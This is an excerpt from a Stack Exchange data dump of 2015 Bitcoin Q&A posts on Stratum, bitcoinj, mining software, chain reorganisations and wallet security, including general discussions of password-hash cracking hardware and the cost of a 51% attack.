  <row Id="40556" PostTypeId="1" AcceptedAnswerId="40598" CreationDate="2015-09-16T07:46:22.460" Score="4" ViewCount="665" Body="&lt;p&gt;I need to get the merkle branch quickly for a known TX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have connected to various stratum servers, but whenever I send the method below I get &quot;HTTP code 405 - Method not allowed&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{ \&quot;id\&quot;: 1, \&quot;method\&quot;: \&quot;blockchain.transaction.get_merkle\&quot;, \&quot;params\&quot;: [ \&quot;967d009ee103340d6762819ebf452107561423fe97b04fbf501594f231e212c4\&quot;, \&quot;369863\&quot; ] }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using the HTTP post version of the Stratum protocol and content type &quot;application/stratum&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is how do I make this work?&lt;/p&gt;&#xA;" OwnerUserId="14475" LastActivityDate="2015-09-19T10:59:31.533" Title="How do I get merkle branches using the Stratum protocol?" Tags="|electrum|stratum|merkle-tree|http|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40557" PostTypeId="1" CreationDate="2015-09-16T10:53:14.857" Score="2" ViewCount="902" Body="&lt;p&gt;I am trying to obtain the addresses of entry of a transaction when I receive money, but I have not found the way. I have tried to create an address with the bytes obtained by calling &lt;code&gt;TransactionInput.getScriptSig().getPubKey()&lt;/code&gt;, but I've only obtained a ScriptException. If I call &lt;code&gt;TransactionInput.getFromAddress()&lt;/code&gt; (deprecated) the code is frozen. I don't want to have to make a call to the API of block explorer, it is too cumbersome. Is there any way of doing this? As it parses the transaction &lt;a href=&quot;https://www.blochain.info&quot; rel=&quot;nofollow&quot;&gt;blockhain.info&lt;/a&gt; to get that kind of information?&lt;/p&gt;&#xA;" OwnerUserId="27532" LastEditorUserId="2306" LastEditDate="2015-10-24T09:43:51.260" LastActivityDate="2016-06-04T19:41:45.817" Title="How can I get the input addresses of a transaction in Java?" Tags="|transactions|address|bitcoinj|transaction-input|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40558" PostTypeId="2" ParentId="18715" CreationDate="2015-09-16T11:55:43.313" Score="1" Body="&lt;p&gt;you can use like this..  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;cgminer.exe --userpass usertes.worker1:123 --url stratum+tcp://stratum.bitcoin.cz:3333 --socks-proxy 127.0.0.1:1001&lt;/p&gt;&#xA;&#xA;&lt;p&gt;127.0.0.1:1001 is the proxy with port..&#xA;modify with ur own proxy&lt;/p&gt;&#xA;" OwnerUserId="29412" LastActivityDate="2015-09-16T11:55:43.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40559" PostTypeId="2" ParentId="13733" CreationDate="2015-09-16T12:07:17.460" Score="1" Body="&lt;p&gt;I confirm that it is not possible to tune fees with multibit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone knows a wallet where it is possible to do so, it would be highly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="29413" LastActivityDate="2015-09-16T12:07:17.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40560" PostTypeId="1" AcceptedAnswerId="40561" CreationDate="2015-09-16T13:31:36.517" Score="3" ViewCount="1444" Body="&lt;p&gt;I'm wondering if it would be possible to utilize a Bitcoin or Litecoin miner to attack, say, a password database that uses PKBDF2 with HMAC / SHA-256. PBKDF2 uses multiple iterations of a PRF - usually HMAC-SHA1, but sometimes HMAC-SHA-256 - for protecting passwords. The idea is that these calculations have to be performed for each password, so that makes it more difficult for an attacker to test all passwords. The PBKDF2 method &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc2898#section-5.2&quot; rel=&quot;nofollow noreferrer&quot;&gt;is defined in RFC 2898&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Sometimes statements are made that these functions are insecure because of attacks with ASICs and often total amount of Bitcoin SHA-256 hashes is shown as example of what can be done. Now I'm wondering if it would be possible to program a Bitcoin or Litecoin miner to find a password using brute force or a dictionary attack.&lt;/p&gt;&#xA;&lt;p&gt;Assumptions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;HMAC SHA-256&lt;/li&gt;&#xA;&lt;li&gt;the salt is known&lt;/li&gt;&#xA;&lt;li&gt;output of PBKDF2 is 256 bit (the output of the hash) or less&lt;/li&gt;&#xA;&lt;li&gt;&amp;quot;high&amp;quot; number of iterations, say 4K to 40K&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To do this you would have to program HMAC using &lt;em&gt;a single&lt;/em&gt; SHA-256. Furthermore, you probably would have to have a method to perform the iterations. The iterations use the same key (derived from the password) for HMAC but the data is dependent on the previous value. Obviously there also needs to be some way to generate or retrieve the candidate passwords.&lt;/p&gt;&#xA;&lt;p&gt;Would it be possible to reprogram a miner to do this work, or are all the current miners too specialized to perform such operations? Is there a - possibly older - miner that can be reprogrammed to do this work?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Note that this question is about reprogramming/re-utilizing a hardware device. It is not a generic question of using the Bitcoin network to perform cryptographic tasks.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I've added Litecoin to the mix. Litecoin uses scrypt, which is already a Password Based Key Derivation Function in itself, &lt;em&gt;which uses PBKDF2 as underlying PRF&lt;/em&gt; (hope that's OK, no answers yet).&lt;/p&gt;&#xA;" OwnerUserId="29414" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2015-09-16T14:30:49.297" Title="Using a Bitcoin or Litecoin miner for attacking PBKDF2 / SHA-256" Tags="|litecoin|api|cryptography|sha256|asic|" AnswerCount="1" CommentCount="4" ClosedDate="2015-09-24T16:55:59.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="40561" PostTypeId="2" ParentId="40560" CreationDate="2015-09-16T14:30:49.297" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Would it be possible to reprogram a miner to do this work, or are all the current miners too specialized to perform such operations?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A Bitcoin mining ASIC can only do a single task, mining, it has no ability to do anything further than take an 80 byte header, hash it, and return a nonce if it has a large enough of zero bits. In terms of applicability to general SHA256 computing tasks, it has no relevance whatsoever. They can not do single SHA256, return under any circumstance but a low hash, and can not hash arbitrary data. Scrypt based ASICs do exist, but they are hardcoded to stupidly low parameters nobody would use for password hashing in the real world, the other caveats also apply.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a - possibly older - miner that can be reprogrammed to do this work?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A FPGA can be reprogrammed to do almost any task you take the time to author a bitstream for, it would be possible in some circumstances use FPGA for attacking hashes. The Bitcoin mining FPGA that were used in around 2013 do not have much relevance however, as they were never designed for high bandwidth performance between the host and the chip. You might have been communicating over a 9600 baud serial connection which is too slow to send any significant amount of data across. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;GPUs are generally used for this sort of task instead, where you have extremely fast and low latency connections to the CPU and a high degree of concurrency for computing hashes. The efficiency is not as high as dedicated hardware (FPGA or ASIC), but they are commodity devices which can be used for a lot more of these sort of tasks. A high end card can compute in the order of half a billion SHA256 hashes a second when the input is only several compression rounds long, though it will burn upwards of 400W while doing so. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-09-16T14:30:49.297" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="40562" PostTypeId="1" CreationDate="2015-09-16T17:35:18.530" Score="1" ViewCount="92" Body="&lt;p&gt;HI I have a  24 to 20 character long adress made for dash coins and Iam noticing all of the exchanges and the newer wallets give me  a shorter adress when I atempt to send from miner gate or from my gui made dash wallet to these short adresses I get an rpc error that the adress doesnt exist please help!&#xA;Iam new to this and I haven't been able to find anything about this&lt;/p&gt;&#xA;" OwnerUserId="29417" LastActivityDate="2015-09-16T17:35:18.530" Title="How can I send altocoins from a long wallet adress 24-30 characters to a short wallet address that most exchanges have?" Tags="|wallet|exchanges|" AnswerCount="0" CommentCount="0" ClosedDate="2022-09-09T18:18:04.197" ContentLicense="CC BY-SA 3.0" />
  <row Id="40563" PostTypeId="1" CreationDate="2015-09-16T22:09:35.840" Score="2" ViewCount="439" Body="&lt;p&gt;Blockchain&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[m1]-&amp;gt; [m2] -&amp;gt; [m3] -&amp;gt; [m4]&#xA;&#xA;         |  -&amp;gt; [f1] -&amp;gt; [f2] -&amp;gt; [new]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;m - mainchain blocks&lt;/li&gt;&#xA;&lt;li&gt;f - fork blocks&lt;/li&gt;&#xA;&lt;li&gt;new - tip of the fork that is at greater height than the previous mainchain&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In this case we must switch from the mainchain to the fork, due to the height of forkchain being greater than the mainchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is about transactions in blocks [m3], [m4]. In the case a transaction was in [m3] but not included in either the blocks [f1],[f2]. Since that transaction is not confirmed in the new mainchain (the forkchain) after the switch, would this tx be available for miners again to include for next block? Would this transactions be returned to the rawmempool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what if this transaction was added without isStandard check (in case adding in block), should we process isStandard check for this transaction?&lt;/p&gt;&#xA;" OwnerUserId="15358" LastEditorUserId="5406" LastEditDate="2015-09-17T09:11:22.460" LastActivityDate="2015-09-17T09:11:22.460" Title="What happens to non-standard transactions in the case of a blockchain reorg?" Tags="|transactions|non-standard-transaction|chain-reorganization|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40564" PostTypeId="1" CreationDate="2015-09-16T22:20:37.513" Score="3" ViewCount="1422" Body="&lt;p&gt;I suppose they're kept encrypted as not to do so would be the equivalent as saving plaintext passwords. I heard most of them keep a percentage of the funds in cold storage, but then isn't it inconvenient for the users in case a lot of them want to withdraw funds? how to manage those conflicting interests? Also how is the actual key being generated? where does the source of randomness come from?&lt;/p&gt;&#xA;" OwnerUserId="16981" LastEditorUserId="16981" LastEditDate="2015-10-01T16:35:55.670" LastActivityDate="2015-10-08T01:57:37.410" Title="How do on-line wallet or bitcoin exchanges usually secure their private keys?" Tags="|security|exchanges|private-key|e-wallet|data-security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40566" PostTypeId="2" ParentId="34319" CreationDate="2015-09-16T23:07:46.070" Score="2" Body="&lt;p&gt;Using CGMiner 4.9.0&#xA; I have been trying for MONTHS to get all five of these to all work at the same time without ZOMBIE&#xA;and ERRORS that make the whole process a waste of time.&#xA;I did the Zadig thing, a million times, can do it in the sauna, while reading bad Hungarian poetry.&#xA;All my devices are running the right drivers.&#xA;I tried new power supplies, new cables, new software...NOTHING WORKED.&#xA;I want all 5 U3 Miners running normally at once on the same machine!&#xA;I could get them all to run in 2's or 3's, but with 4 or 5 they would hash at ridiculously low speeds, and crash to zombie a LOT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could run ANY THREE at a time, but 4 would start the errors and crashes all over again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, I bought FIVE of these, and I am determined. So I start moving things to a different directory, to &quot;start all over&quot; and while doing this, I notice... I HAVE TWO EXPLORER WINDOWS OPEN AT ONCE. I think to myself. TRY OPENING TWO CgmINERS!!!&#xA;  OK, Now what? one is running 5 U3's terribly, and the other is whining about all the devices being busy, or not there, etc.&#xA;so I Disable two of those first 5 with the USB Menu in CGMiner. THen I BLACKLIST THOSE TWO.&#xA;   I look at the other window and VOILA!! The two I blacklisted from one CGminer are now hashing like crazy in the other one! I have 5 U3 Miners running at once on the same machine! And if one goes ZOMBIE, the other miner grabs it and wakes it back up!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ffv3H.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ffv3H.jpg&quot; alt=&quot;2 at once!&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the setup for the BAT file...&#xA; --au3-freq 238 --au3-volt 775&#xA; I am so happy, I wanna give myself a kiss!!!&lt;/p&gt;&#xA;" OwnerUserId="29423" LastEditorUserId="18227" LastEditDate="2015-09-18T02:46:06.230" LastActivityDate="2015-09-18T02:46:06.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40567" PostTypeId="1" CreationDate="2015-09-16T23:39:10.767" Score="1" ViewCount="40" Body="&lt;p&gt;My parent's have Windows Vista and recently we had a power outage and Bitcoin started from beginning loading blocks however for a week now it doesn't go below 1 year 13 months? As an inexperienced Bitcoiner, I could use some advice. Please help if you can. Thank you.Please make it simple as I'm new and don't understand all the Bitcoin terminology.&#xA;David&lt;/p&gt;&#xA;" OwnerUserId="29424" LastEditorUserId="5406" LastEditDate="2015-09-17T07:20:49.713" LastActivityDate="2015-09-17T07:20:49.713" Title="Block loading stuck on 1 year 13 weeks" Tags="|bitcoin-core|synchronization|" AnswerCount="0" CommentCount="2" ClosedDate="2015-09-24T16:51:17.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="40568" PostTypeId="1" CreationDate="2015-09-17T01:25:37.170" Score="2" ViewCount="341" Body="&lt;p&gt;Trying to identify implementations for creating BIP 38 encrypted private keys for alternative coins to spark collaborative open source discussions to standardize BIP 38 to support altcoins. Please share any BIP 38 implementation URLs you are aware of that support one or more altcoins for investigative purposes.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="2306" LastEditDate="2015-11-02T07:06:27.083" LastActivityDate="2016-03-01T09:45:42.223" Title="BIP 38 Implementions for Altcoins?" Tags="|wallet|security|api|bip38|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40569" PostTypeId="2" ParentId="28103" CreationDate="2015-09-17T02:14:56.463" Score="0" Body="&lt;p&gt;You might want to use a standized BIP 38 encrypted keys that can be natively imported into a few cell phone or tablet application wallets. Here are two JavaScipt implementations to look at. Others are likely to exist. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/cantonbecker/bitcoinpaperwallet&quot; rel=&quot;nofollow&quot;&gt;Canton Becker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/pointbiz/bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;Bitaddres.org&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/MichaelMure/WalletGenerator.net&quot; rel=&quot;nofollow&quot;&gt;Michael Mure&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Cross correlate consistency of results between implementations before betting the bank. (Never really know if someone has hacked these open source Implementions unless you are a software geek.) Be sure to use very high entropy passwords and do a few full cycle checks in advance before sending funds to any new wallet addresses. Some of these application buttons are not as user friendly as you may think, and user errors could bite you.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2015-09-17T02:14:56.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40571" PostTypeId="1" CreationDate="2015-09-17T06:42:58.103" Score="1" ViewCount="59" Body="&lt;p&gt;I would like to find out if anybody knows or has experience using Bitcoins to run the internal finances for a community ?&lt;/p&gt;&#xA;" OwnerUserId="26468" LastActivityDate="2015-09-19T19:56:24.720" Title="Village running on bitcoin tech" Tags="|community|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40572" PostTypeId="2" ParentId="40563" CreationDate="2015-09-17T08:56:04.333" Score="2" Body="&lt;p&gt;Each of the blockchain forks assumes itself to be the only valid blockchain. They do not change their behavior due to a competing chain. They will require checks and confirm transactions completely independently from each other. It is likely that the same transactions are confirmed in both competing chains, just in different order and perhaps also at different heights. If a chain reorganization happens, and some transactions were not confirmed in the new best chain yet, they are still in the pool of unconfirmed transactions for that chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you actually switch from [m4] to [new], and a transaction was not confirmed in the [new] chain that had been confirmed in the chain containing [m4], yes of course it would be in pool of unconfirmed transactions for that chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;isStandard()&lt;/code&gt; is performed by every node when it learns about a transaction. Each miner decides whether to confirm transactions that don't pass &lt;code&gt;isStandard()&lt;/code&gt; by themselves. It is irrelevant whether a competitor would include it or not for this process. If the forkchain is extended by a miner that doesn't confirm non-standard transactions, it will only be confirmed later when someone else chooses to do so.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-09-17T09:10:40.453" LastActivityDate="2015-09-17T09:10:40.453" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40573" PostTypeId="1" CreationDate="2015-09-17T09:52:09.923" Score="1" ViewCount="1161" Body="&lt;p&gt;I am trying to collect all infromation about adding and verification transaction to Blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exist 2 types : add transaction to RawMemPool and add Transations included in block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could any experts in this question verify that collected information is actual and correct?  Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QvgMr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QvgMr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/a2lOY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/a2lOY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15358" LastEditorUserId="15358" LastEditDate="2015-09-18T17:39:34.977" LastActivityDate="2015-09-18T17:39:34.977" Title="Basic transaction validation rules, Node accept to pool policy" Tags="|transactions|blockchain|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="40574" PostTypeId="1" AcceptedAnswerId="49921" CreationDate="2015-09-17T13:11:53.613" Score="2" ViewCount="521" Body="&lt;p&gt;I was checking OP_CHECKSIG today and see that the signature of a transaction will be computed from the transaction but copying the ScriptPubKey from the transaction referenced as input into the SigKey of the new transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess this has something to do with tx malleability, but I cannot see in what case this would really help? The tx-inputs already reference IDs that can be changed implying malleability. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would only make sense to include the inputs ScriptPubKeys if it would be possible to keep an ID while changing its ScriptPubKey (which is not possible), or am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am refering to this graphic Step 7 + 8:&#xA;&lt;a href=&quot;https://en.bitcoin.it/w/images/en/7/70/Bitcoin_OpCheckSig_InDetail.png&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/w/images/en/7/70/Bitcoin_OpCheckSig_InDetail.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29432" LastActivityDate="2016-11-29T16:28:29.723" Title="(CHECKSIG) Why is the ScriptPubKey from tx-inputs part of the signature?" Tags="|transactions|signature|checksig|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40575" PostTypeId="1" CreationDate="2015-09-17T13:18:23.333" Score="0" ViewCount="144" Body="&lt;p&gt;I've just setup GUIMiner, I have two graphics cards, and they are both running. However, one is getting ~400 Mhash/s, the other is getting ~10 Mhash/s.&#xA;The monitoring of the GPU's also shows one running at 95%, the other at ~5%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an obvious reason for this?&lt;/p&gt;&#xA;" OwnerUserId="29433" LastActivityDate="2015-09-17T13:18:23.333" Title="GUIMiner not utilizing 2nd GPU" Tags="|gpu|guiminer|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40576" PostTypeId="2" ParentId="40551" CreationDate="2015-09-17T15:06:34.407" Score="2" Body="&lt;p&gt;So... I found out what was wrong. The problem was in this part of the code when i was adding the inputs. I was adding an index to each input based on which number of input it was. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for(var a = 0; a &amp;lt; input_utxos.length ; a++){&#xA;    tx.addInput(input_utxos[a].tx,a)&#xA;    sum_outputs+=parseInt(input_utxos[a].amount);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the index i was supossed to send was actually the index on the transaction outputs. so it had to be like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for(var a = 0; a &amp;lt; input_utxos.length ; a++){&#xA;    tx.addInput(input_utxos[a].tx,input_utxos[a].n)&#xA;    sum_outputs+=parseInt(input_utxos[a].amount);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The index was gettable from the api that provided me all the utxos for an account. In this case, it was called &lt;code&gt;n&lt;/code&gt; and was inside the transaction object itself.&lt;/p&gt;&#xA;" OwnerUserId="29402" LastActivityDate="2015-09-17T15:06:34.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40577" PostTypeId="1" AcceptedAnswerId="40578" CreationDate="2015-09-17T16:29:16.550" Score="8" ViewCount="2249" Body="&lt;p&gt;how much would it cost to carry out an 51%-Attack? &#xA;If there is a place service in the web that you can rent ASIC's than i would rather hear what renting this would cost. If not then buying the asics is fine too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep the calculation KiSS following assumptions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Attacker chooses the cheapest way of renting/buying hardware. But he is NOT renting/bribing whatever the existing machines from miners from the existing bitcoin network. The gear has to come from outside the network.&lt;/li&gt;&#xA;&lt;li&gt;Don't worry about that renting/buying such a huge qt would drive the price for the hardware up. &lt;/li&gt;&#xA;&lt;li&gt;Ignore what the community would do, the cored devs or whoever to counterstrike your attack.&lt;/li&gt;&#xA;&lt;li&gt;you don't need to include electricity cost in the calculation. If you do include it, please tell what you took for US-Cents/kw/h&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. is there a website that does this calculations on a regular basis? Would be cool to check this from time to time..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 4 Years later ond June 2019: The Hashrate of the Entire Network is right now (according to Bitinfocharts.com): 55,42 ExaHashes. Most efficient Miner is the DragonMint which has exactly (and realisticaly) 16 TH/s and costs including with power supply 2844USD. One would need 55 420 000 TH/s /16 TH/s =3,46 millin Dragon Mints * ~ 2800USD (included a small rebate)~ 9,8 billion USD. Crazy how the cost increased in the last 4 years from 145 Million to almost 10 billion...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT X Years old answers to this question don't matter at all. This question needs to answered every 6 months. Entirely new generations of Asic-miners, change picture a LOT&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="10677" LastEditorUserId="10677" LastEditDate="2019-06-26T15:37:37.310" LastActivityDate="2019-06-26T15:37:37.310" Title="How much would it cost to do a 51% attack" Tags="|majority-attack|" AnswerCount="3" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="40578" PostTypeId="2" ParentId="40577" CreationDate="2015-09-17T16:50:08.443" Score="8" Body="&lt;p&gt;There is a handy chart at &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Mining_hardware_comparison&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we assume that it is complete, and that the figures listed there are accurate (I have not verified them), and that the attacker must buy the hardware, then the most economical device is the Antminer S5+, which produces 7.7 TH/s (7.7e12 H/s) and costs US$2300.  It draws 3.4 kW.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current network difficulty is about 5.6e10.  This means that an average of 5.6e10 x 2^32 = 2.4e20 hashes are needed to mine one block.  Assuming that one block is mined each 10 minutes (600 seconds) on average, the network as a whole is producing 2.4e20 / 600 = 4.0e17 H/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a 51% attacker needs to produce about 4.0e17 H/s himself, to match or slightly exceed the hashing power of the existing network.  This means he needs 4.0e17 / 7.7e12 = 52000 Antminer S5+ devices, which would cost 52000 x $2300 = $120 million.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is unrealistic in a couple of ways - buying that many devices would not only drive up the price but probably exceed the production capacity.  On the other hand, such a large order might qualify for a quantity discount or wholesale pricing.  This attacker might also find it more efficient to license the design and do the manufacturing themselves.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running these machines would consume 52000 x 3.4 kW = 177 MW of power.  If the attacker is located in the US, &lt;a href=&quot;http://www.eia.gov/electricity/monthly/epm_table_grapher.cfm?t=epmt_5_6_a&quot; rel=&quot;noreferrer&quot;&gt;this table&lt;/a&gt; shows that the cheapest place to get electricity at an industrial rate is Washington State, where it costs an average of 4.5 US cents per kWh.  At this rate, the attack would cost US$8000 per hour to supply with electricity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they are all to be located in one place, there will be additional costs to build / rent and operate a facility to house them all, with appropriate electrical infrastructure.  There will also need to be significant network and server infrastructure to connect them all to the Bitcoin network.  Cooling costs will also be substantial - Google &lt;a href=&quot;http://www.google.com/about/datacenters/efficiency/internal/&quot; rel=&quot;noreferrer&quot;&gt;says&lt;/a&gt; that their data centers have electrical overhead of about 12% (i.e., on top of the electricity used by the equipment itself, an additional 12% is used for cooling, power supply losses, etc).  They say that the industry average is more like 70%.  You would also have to hire an IT staff to maintain everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This overhead might be reduced if the devices were to be distributed (e.g. each of 52000 people keeps one in their house) but then you start to incur administrative costs to keep all those people organized.  (Just picture the communications department to tell them what to do, accounting to make sure they all get their cut of the proceeds from this evil scheme, human resources to recruit new participants, etc.)&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2015-09-17T18:35:50.460" LastActivityDate="2015-09-17T18:35:50.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="40580" PostTypeId="1" CreationDate="2015-09-17T22:27:37.257" Score="1" ViewCount="37" Body="&lt;p&gt;Why don't we implement a Node Operator reward program (in the core) or if such implementation ever existed what would be the overall (Downside,Cause for concern, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why don't we use the Miner Fee Reward to pay the Nodes for instance? Without talking about the overall economic implication but more the technical side of things.&lt;/p&gt;&#xA;" OwnerUserId="6925" LastActivityDate="2015-09-17T22:27:37.257" Title="Node Operators Reward" Tags="|blockchain|bitcoin-core|block|" AnswerCount="0" CommentCount="0" ClosedDate="2015-09-18T14:02:28.980" ContentLicense="CC BY-SA 3.0" />
  <row Id="40581" PostTypeId="1" CreationDate="2015-09-17T22:32:16.200" Score="1" ViewCount="240" Body="&lt;p&gt;I wrote this function using bitcoinJ&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public Wallet getWallet(ECKey ecKey) {&#xA;        Wallet wallet = walletAppKit.wallet();&#xA;        wallet.importKey(ecKey);&#xA;        wallet.addEventListener(new AbstractWalletEventListener() {&#xA;            @Override&#xA;            public synchronized void onCoinsReceived(Wallet w, Transaction tx, Coin prevBalance, Coin newBalance) {&#xA;                System.out.println(&quot;\nReceived tx &quot; + tx.getHashAsString());&#xA;                System.out.println(tx.toString());&#xA;                System.out.println(wallet.getBalance());&#xA;            }&#xA;        });&#xA;        System.out.println(&quot;Address created:&quot; + ecKey.toAddress(wallet.getNetworkParameters()));&#xA;        return wallet;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically I am preparing the wallet to be used. I go to one of those testnet faucets to send some coinst to that wallet, and the event reaches the listener but prints that the balance in the wallet is 0.&#xA;This is what I see in the terminal:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3376017266d6e2924ae578c8af752edd5ccc9371c38a3b9304f149dfaba36f99: Seen&#xA;  by 2 peers. Pending/unconfirmed.&#xA;       in   PUSHDATA(72)[3045022100cd0f19af359abb49c429974122d2baa2d29d3975018b19d18a972d934d508e0e02207b42c2a07ddc540382266f03586299926fecf35c3f998609d1e229e7bf52df8801]&#xA;  PUSHDATA(33)[0363f08c5d814459ea2b8d0109b791cbd762ce266b9b6f2e02802d4934bf09d2a6]&#xA;            outpoint:e636ba115d9f0222e04a78cd856ebf0b184ba1a5279ecc1331241e30d44b28a3:0&#xA;       out  DUP HASH160 PUSHDATA(20)[5e9b9195b7aee85b53ade382f4f444a9d2522e26] EQUALVERIFY&#xA;  CHECKSIG 0.05922 BTC&#xA;       out  DUP HASH160 PUSHDATA(20)[4a88f0063671c6ddd1a3faa121d1b69f82f8dc82] EQUALVERIFY&#xA;  CHECKSIG 0.001 BTC&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Sep 17, 2015 11:29:17 